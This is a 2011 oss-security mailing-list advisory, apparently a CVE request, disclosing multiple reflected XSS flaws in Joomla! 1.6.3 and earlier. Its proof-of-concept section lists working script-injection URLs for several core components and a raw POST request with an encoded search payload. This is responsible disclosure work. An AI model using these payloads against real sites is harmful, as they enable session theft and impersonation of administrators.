Date: Tue, 28 Jun 2011 14:25:47 +0800 From: YGN Ethical Hacker Group <lists@...g.net> To: oss-security@...ts.openwall.com Subject: CVE Request: Joomla! 1.6.3 and lower | Multiple Cross Site Scripting (XSS) Vulnerabilities Joomla! 1.6.3 and lower | Multiple Cross Site Scripting (XSS) Vulnerabilities 1. OVERVIEW Joomla! 1.6.3 and lower are vulnerable to multiple Cross Site Scripting issues. 2. BACKGROUND Joomla is a free and open source content management system (CMS) for publishing content on the World Wide Web and intranets. It comprises a model–view–controller (MVC) Web application framework that can also be used independently. Joomla is written in PHP, uses object-oriented programming (OOP) techniques and software design patterns, stores data in a MySQL database, and includes features such as page caching, RSS feeds, printable versions of pages, news flashes, blogs, polls, search, and support for language internationalization. 3. VULNERABILITY DESCRIPTION Several parameters (QueryString, option, searchword) in Joomla! Core components (com_content, com_contact, com_newsfeeds, com_search) are not properly sanitized upon submission to the /index.php url, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSION AFFECTED 1.6.3 and lower 5. PROOF-OF-CONCEPT/EXPLOIT component: com_contact , parameter: QueryString (Browser: All) =============================================================== http://attacker.in/joomla163_noseo/index.php?option=com_contact&view=category&catid=26&id=36&Itemid=-1"><script>alert(/XSS/)</script> component:com_content , parameter: QueryString (Browser: All) =============================================================== http://attacker.in/joomla163_noseo/index.php?option=com_content&view=category&id=19&Itemid=260&limit=10&filter_order_Dir=&limitstart=&filter_order=><script>alert(/XSS/)</script> component: com_newsfeeds , parameter: QueryString (Browser: All) ================================================================= http://attacker.in/joomla163_noseo/index.php?option=com_newsfeeds&view=category&id=17&whateverehere="><script>alert(/XSS/)</script>&Itemid=253&limit=10&filter_order_Dir=ASC&filter_order=ordering parameter: option (Browser: All) ==================================== http://attacker.in/joomla163_noseo/index.php?option="><script>alert(/XSS/)</script>&task=reset.request component: com_search, parameter: searchword (Browser: IE, Konqueror) ===================================================================== [REQUEST] POST /joomla163/index.php HTTP/1.1 Referer: http://attacker.in/joomla163/ User-Agent: Konqueror/4.5 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: attacker.in Accept-Encoding: gzip, deflate Content-Length: 125 option=com_search&searchword='%2522%253C%252Fscript%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E&task=search [/REQUEST] This searchword XSS was identified via source code: http://yehg.net/lab/pr0js/advisories/joomla/core/1.6.3/xss/XSS%20%5bMode=SEO,NON-SEO%5d/(searchword)_xss_vuln_code_portion.jpg 6. IMPACT Attackers can compromise currently logged-in user/administrator session and impersonate arbitrary user actions available under /administrator/ functions. 7. SOLUTION Upgrade to Joomla! 1.6.4 or higher 8. VENDOR Joomla! Developer Team http://www.joomla.org 9. CREDIT This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. 10. DISCLOSURE TIME-LINE 2011-05-26: notified vendor 2011-06-28: vendor released fix 2011-06-28: vulnerability disclosed 11. REFERENCES Original Advisory URL: http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.6.3]_cross_site_scripting(XSS) Vendor Advisory URL: http://developer.joomla.org/security/news/352-20110604-xss-vulnerability.html XSS FAQ: http://www.cgisecurity.com/xss-faq.html OWASP Top 10: http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project CWE-79: http://cwe.mitre.org/data/definitions/79.html #yehg [2011-06-28]
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